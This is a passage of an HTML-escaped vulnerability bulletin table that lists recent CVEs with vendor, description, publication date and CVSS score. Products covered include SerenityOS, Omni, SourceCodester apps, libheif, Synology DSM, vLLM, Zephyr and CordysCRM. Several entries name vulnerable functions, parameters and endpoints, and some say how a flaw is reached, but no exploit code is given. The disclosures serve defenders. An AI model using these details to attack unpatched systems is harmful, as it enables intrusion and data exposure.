&lt;td&gt;A security vulnerability has been detected in SerenityOS up to 3d83e4509fd20d7438e1ae8470ffe668c136229c. Affected by this vulnerability is the function decode_bmp_pixel_data of the file Userland/Libraries/LibGfx/ImageFormats/BMPLoader.cpp of the component LibGfx. The manipulation of the argument height leads to integer overflow. The attack is possible to be carried out remotely. The attack&#039;s complexity is rated as high. The exploitation appears to be difficult. The exploit has been disclosed publicly and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The identifier of the patch is 007041bb2dd6d140c9e707caddfb0a49ecf96469. Applying a patch is the recommended action to fix this issue. This was reproducible with a minimal 55-byte PoC via the standard image-decode fuzz target but evidence for an actual exploitable defect is thin.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94030&quot; target=&quot;_blank&quot;&gt;CVE-2026-94030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siderolabs--omni&lt;/td&gt;
&lt;td&gt;Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.6.6 and 1.7.3, managementServer.CreateSchematic in internal/backend/grpc/schematics.go passes the caller-controlled TalosVersion field to imageFactoryClient.OverlaysVersions without validating it as a version. An authenticated Operator can submit traversal segments in TalosVersion, and url.URL.JoinPath normalizes them into unintended paths on the configured image-factory host. Omni then issues HTTP GET requests to those paths and reflects error-body content, enabling same-host endpoint probing and possible disclosure of internal diagnostics while preventing redirection to another host or write requests. This issue is fixed in versions 1.6.6 and 1.7.3.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45723&quot; target=&quot;_blank&quot;&gt;CVE-2026-45723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Simon Tatham--Portable Puzzle Collection&lt;/td&gt;
&lt;td&gt;Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow which allows attackers to cause a Denial of Service (DoS) via a crafted save file.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24283&quot; target=&quot;_blank&quot;&gt;CVE-2023-24283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Simon Tatham--Portable Puzzle Collection&lt;/td&gt;
&lt;td&gt;Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow via the is_markable() function.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24284&quot; target=&quot;_blank&quot;&gt;CVE-2023-24284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Simon Tatham--Portable Puzzle Collection&lt;/td&gt;
&lt;td&gt;Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow which is triggered when an unusually long move is executed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24285&quot; target=&quot;_blank&quot;&gt;CVE-2023-24285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Simon Tatham--Portable Puzzle Collection&lt;/td&gt;
&lt;td&gt;Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow via the game description parameter.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24286&quot; target=&quot;_blank&quot;&gt;CVE-2023-24286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Simon Tatham--Portable Puzzle Collection&lt;/td&gt;
&lt;td&gt;Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow via the &quot;M&quot; command.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24287&quot; target=&quot;_blank&quot;&gt;CVE-2023-24287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Simon Tatham--Portable Puzzle Collection&lt;/td&gt;
&lt;td&gt;An issue in Portable Puzzle Collection before 20230116.5782e29 allows attackers to cause a Denial of Service (DoS) via creating an excessive amount of save states.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24288&quot; target=&quot;_blank&quot;&gt;CVE-2023-24288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Simon Tatham--Portable Puzzle Collection&lt;/td&gt;
&lt;td&gt;Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow via the record length parameter.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24291&quot; target=&quot;_blank&quot;&gt;CVE-2023-24291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Drug Recommendation System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester Drug Recommendation System 1.0. This vulnerability affects unknown code of the file /drug_recommender/Admin/add_user of the component User Management. Such manipulation of the argument txtname/txtemail/txtpassword leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94033&quot; target=&quot;_blank&quot;&gt;CVE-2026-94033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Drug Recommendation System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester Drug Recommendation System 1.0. This issue affects some unknown processing of the file /drug_recommender/Admin/change_password of the component Password Change. Performing a manipulation of the argument txtoldpassword/txtnewpassword results in cross site scripting. The attack can be initiated remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94034&quot; target=&quot;_blank&quot;&gt;CVE-2026-94034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Drug Recommendation System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in SourceCodester Drug Recommendation System 1.0. This impacts an unknown function of the file /drug_recommender/Admin/add_symptom. Performing a manipulation of the argument txtname results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94016&quot; target=&quot;_blank&quot;&gt;CVE-2026-94016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Inventory Management System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester Inventory Management System 1.0. Affected is an unknown function of the file /api/customers_handler.php of the component Customer Management Module. Such manipulation of the argument Customer_Name leads to cross site scripting. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90694&quot; target=&quot;_blank&quot;&gt;CVE-2026-90694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Inventory Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester Inventory Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /api/vendors_handler.php of the component Vendor Management. Performing a manipulation results in cross site scripting. The attack is possible to be carried out remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90695&quot; target=&quot;_blank&quot;&gt;CVE-2026-90695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Inventory Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in SourceCodester Inventory Management System 1.0. Affected by this issue is some unknown functionality of the file /api/products_handler.php of the component Product Management Module. Executing a manipulation of the argument Product_Name can lead to cross site scripting. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90696&quot; target=&quot;_blank&quot;&gt;CVE-2026-90696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Food Ordering System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester Online Food Ordering System 1.0. The affected element is an unknown function of the file /admin/update_category.php of the component Category Update. The manipulation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92385&quot; target=&quot;_blank&quot;&gt;CVE-2026-92385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. Prior to 1.19.6, Op_RGB24_32_to_YCbCr::convert_colorspace() stores image-plane strides in an integer width that can overflow for extremely large RGB images created through heif_image_create() and heif_image_add_plane(). The resulting wrapped stride causes the conversion loop in libheif/color-conversion/rgb2yuv.cc to compute an invalid input pointer and read beyond the allocated interleaved plane while heif_context_encode_image() performs RGB-to-YCbCr conversion. This can crash the encoding process. This issue is fixed in version 1.19.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84449&quot; target=&quot;_blank&quot;&gt;CVE-2026-84449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SveltyCMS--SveltyCMS&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SveltyCMS 0.0.6. This vulnerability affects unknown code of the file src/utils/media/media-service.server.ts of the component SVG Media Upload. Performing a manipulation results in cross site scripting. The attack can be initiated remotely. The patch is named 05b4f9efeb79e9d72a693232334d7529687f896f. Applying a patch is the recommended action to fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93505&quot; target=&quot;_blank&quot;&gt;CVE-2026-93505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper neutralization of CRLF sequences (&#039;CRLF Injection&#039;) vulnerability in Sharing API in Synology DiskStation Manager (DSM) before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4 and 7.4-90075 allows remote authenticated users to write limited files when a victim clicks a sharing URL.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13666&quot; target=&quot;_blank&quot;&gt;CVE-2026-13666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper restriction of excessive authentication attempts vulnerability in Auto block in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote attackers to read limited files via brute-force attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40538&quot; target=&quot;_blank&quot;&gt;CVE-2026-40538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper neutralization of special elements used in an SQL command (&#039;SQL Injection&#039;) vulnerability in EventScheduler API in Synology DiskStation Manager (DSM) before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4 and 7.4-90075 allows remote authenticated users with administrator privileges to obtain non-sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13683&quot; target=&quot;_blank&quot;&gt;CVE-2026-13683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Syslifters--sysreptor&lt;/td&gt;
&lt;td&gt;SysReptor is a fully customizable pentest reporting platform. Prior to 2026.55, an unauthenticated holder of a public note share link receives project-wide collaborative editing metadata because the public share consumer joins the same collaboration group as authenticated project members and forwards client information, connection, awareness, and deletion events without consistently restricting them to the shared note subtree. The disclosed metadata can identify project members through usernames and names and reveal the identifiers and live editing activity of notes that were not shared. The content of non-shared notes remains protected, and the issue does not grant write access. This issue is fixed in version 2026.55.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81178&quot; target=&quot;_blank&quot;&gt;CVE-2026-81178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Syslifters--sysreptor&lt;/td&gt;
&lt;td&gt;SysReptor is a fully customizable pentest reporting platform. Prior to 2026.68, the password authentication flow for protected shared notes does not rotate the session identifier after successful authentication, allowing session fixation. An attacker who can obtain an unauthenticated SysReptor session cookie, place it in a victim&#039;s browser, and know the shared-note URL where the victim authenticates can reuse the fixed session after the victim enters the correct password and access that shared note. The main SysReptor login flow is not affected. This issue is fixed in version 2026.68.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81181&quot; target=&quot;_blank&quot;&gt;CVE-2026-81181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Threat Response&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Threat Response.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87026&quot; target=&quot;_blank&quot;&gt;CVE-2026-87026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TrustedFirmware--Mbed TLS&lt;/td&gt;
&lt;td&gt;In Mbed TLS 3.6.x before 3.6.7 and 4.1.x before 4.1.2, the TLS 1.3 client accepts HelloRetryRequest selecting an unadvertised group.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25832&quot; target=&quot;_blank&quot;&gt;CVE-2026-25832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vLLM&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in vllm-project vLLM up to 0.29.0. The affected element is the function TiktokenTokenizer::new of the file rust/src/text/src/backend/hf/mod.rs of the component tiktoken vocab File Handler. The manipulation results in denial of service. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90713&quot; target=&quot;_blank&quot;&gt;CVE-2026-90713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM before 0.29.0 validates allowed_token_ids against tokenizer length instead of model output logits width in SamplingParams._validate_allowed_token_ids(). Attackers can supply token IDs above the output vocabulary that pass validation, causing LogitBiasState to corrupt GPU logits state and allow concurrent requests to sample tokens outside their allowlists.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93840&quot; target=&quot;_blank&quot;&gt;CVE-2026-93840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM through 0.29.0 contains a memory corruption vulnerability in the Triton _bincount_kernel where prompt token IDs index the penalty prompt-presence bitset without bounds checking against vocabulary size. Attackers can submit multimodal audio requests with tokens equal to vocabulary size, causing out-of-bounds writes that corrupt concurrent requests&#039; sampler state and alter repetition penalty behavior.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93841&quot; target=&quot;_blank&quot;&gt;CVE-2026-93841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM through 0.29.0 fails to properly validate bad_words token indices against the model&#039;s generation output width in SamplingParams.update_from_tokenizer(). Attackers can supply out-of-bounds token indices that corrupt logits memory of concurrent requests, causing different in-flight HTTP requests to return incorrect tokens.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93989&quot; target=&quot;_blank&quot;&gt;CVE-2026-93989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WithSecure--Atlant&lt;/td&gt;
&lt;td&gt;Withsecure Atlant with Capricorn engine before 2025-01-20_02 allows a Remote Denial of Service via an out-of-bounds memory read during processing of a document file by the antivirus engine.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-26790&quot; target=&quot;_blank&quot;&gt;CVE-2025-26790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WSO2--WSO2 Identity Server&lt;/td&gt;
&lt;td&gt;The SMS OTP flow fails to adequately handle error messages, allowing an attacker to infer the existence of registered user accounts based on the responses received during the OTP initiation process. This weakness can be exploited by an attacker to discover valid usernames within the system. The impact is amplified for accounts that have not configured a mobile number, as the enumeration is specifically tied to this condition. The discovery of these usernames can facilitate subsequent brute force attacks, social engineering attempts, and information leakage, potentially leading to reputational damage, loss of customer trust, and regulatory non-compliance.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-13166&quot; target=&quot;_blank&quot;&gt;CVE-2025-13166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;gptp_handle_msg() in subsys/net/l2/ethernet/gptp/gptp.c dereferenced the gPTP header returned by GPTP_HDR() and switched on hdr-&amp;gt;message_type without first checking that the received frame carries at least sizeof(struct gptp_hdr) (34) bytes of payload. The header accessor gptp_get_hdr() deliberately never fails for a short buffer - it returns pkt-&amp;gt;frags-&amp;gt;data and leaves validation to its callers - so a truncated frame produced a header pointer covering memory beyond the received data. The per-message-type checks that follow do not compensate: GPTP_VALID_LEN() reduces to len &amp;gt; 60 once the Ethernet header has been pulled, which is false for every fixed-size gPTP message, so GPTP_CHECK_LEN() never rejects a truncated SYNC, FOLLOWUP, PDELAY_RESP or SIGNALING message. The defect is reached by an unauthenticated peer on the same link sending an Ethernet frame with ethertype 0x88F7 to the PTP multicast address on an interface configured as a gPTP port, with CONFIG_NET_GPTP enabled. Because conformant Ethernet pads frames to 60 bytes, a payload shorter than 34 bytes generally requires a link that can deliver sub-minimum frames - for example the native_sim TAP driver (drivers/ethernet/eth_native_tap.c), which forwards whatever length the host device supplies, or a MAC configured to accept undersized frames. The short packet is retained (net_pkt_ref() into rcvd_sync_ptr, rcvd_follow_up_ptr, rcvd_pdelay_resp_ptr or rcvd_announce_ptr) and later parsed by the media-dependent and media-independent state machines in subsys/net/l2/ethernet/gptp/gptp_md.c and subsys/net/l2/ethernet/gptp/gptp_mi.c, which read tens of further bytes and copy some of them (the announce priority vector, hdr-&amp;gt;port_id) into state that is subsequently transmitted. Under the default fixed-size buffer allocator (CONFIG_NET_BUF_FIXED_DATA_SIZE, 128-byte fragments) the accesses stay inside the allocated fragment and disclose stale recycled buffer contents; under the experimental CONFIG_NET_BUF_VARIABLE_DATA_SIZE allocator, where fragments are heap-allocated at the exact frame length, they are genuine out-of-bounds reads. There is no write and no availability impact.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16512&quot; target=&quot;_blank&quot;&gt;CVE-2026-16512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZTE--NX741J&lt;/td&gt;
&lt;td&gt;The Z80Ultra (NX741J) product contains a vulnerability where non-privileged programs can retrieve the Wi-Fi MAC address by querying the read-only field factory_mac_address in the Settings.Secure database.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86551&quot; target=&quot;_blank&quot;&gt;CVE-2026-86551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;snya_v&quot;&gt;
&lt;h2 id=&quot;snya_v_title&quot;&gt;Severity Not Yet Assigned&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; id=&quot;table_severity_not_yet_assigned&quot; border=&quot;1&quot; summary=&quot;Severity Not Yet Assigned&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1024-lab SmartAdmin--1024-lab SmartAdmin v3.30.0&lt;/td&gt;
&lt;td&gt;1024-lab SmartAdmin v3.30.0 contains a stored cross-site scripting vulnerability in its file upload functionality. This allows a remote attacker to execute arbitrary code.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88618&quot; target=&quot;_blank&quot;&gt;CVE-2026-88618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1024-lab SmartAdmin--1024-lab SmartAdmin v3.30.0&lt;/td&gt;
&lt;td&gt;1024-lab SmartAdmin v3.30.0 contains a missing authorization vulnerability in the scheduled-job management module. The AdminSmartJobController exposes scheduled-job management endpoints without method-level permission checks, allowing a low-privileged authenticated user to access functionality intended for authorized administrators.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88619&quot; target=&quot;_blank&quot;&gt;CVE-2026-88619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--CordysCRM&lt;/td&gt;
&lt;td&gt;CordysCRM is an open source AI-powered customer relationship management system that supports private deployment. Prior to 1.7.2, GET /mcp/form/config/{formKey} calls McpController.getMcpField without authentication because ShiroFilter.addPublicPathFilters marks /mcp/** as anonymous and the controller has no permission annotation. An unauthenticated caller can obtain field names, types, required flags, default values, options, validation rules, and binding sources for CRM modules, allowing reconstruction of the application data model and more targeted attacks against other inputs. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63646&quot; target=&quot;_blank&quot;&gt;CVE-2026-63646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--CordysCRM&lt;/td&gt;
&lt;td&gt;CordysCRM is an open source AI-powered customer relationship management system that supports private deployment. Prior to 1.7.2, SseController exposes the anonymous /sse/subscribe, /sse/broadcast, and /sse/close endpoints because ShiroFilter.addPublicPathFilters permits the SSE paths, and the endpoints trust the caller-controlled userId instead of deriving an identity from an authenticated principal. An unauthenticated caller can use /sse/subscribe to read another user&#039;s workflow events, approval requests, mentions, and alerts, use /sse/broadcast to inject SYSTEM_HEARTBEAT messages into another user&#039;s stream, or use /sse/close to terminate another user&#039;s channel. This vulnerability is fixed in 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63647&quot; target=&quot;_blank&quot;&gt;CVE-2026-63647&lt;/a&gt;&lt;/td&gt;
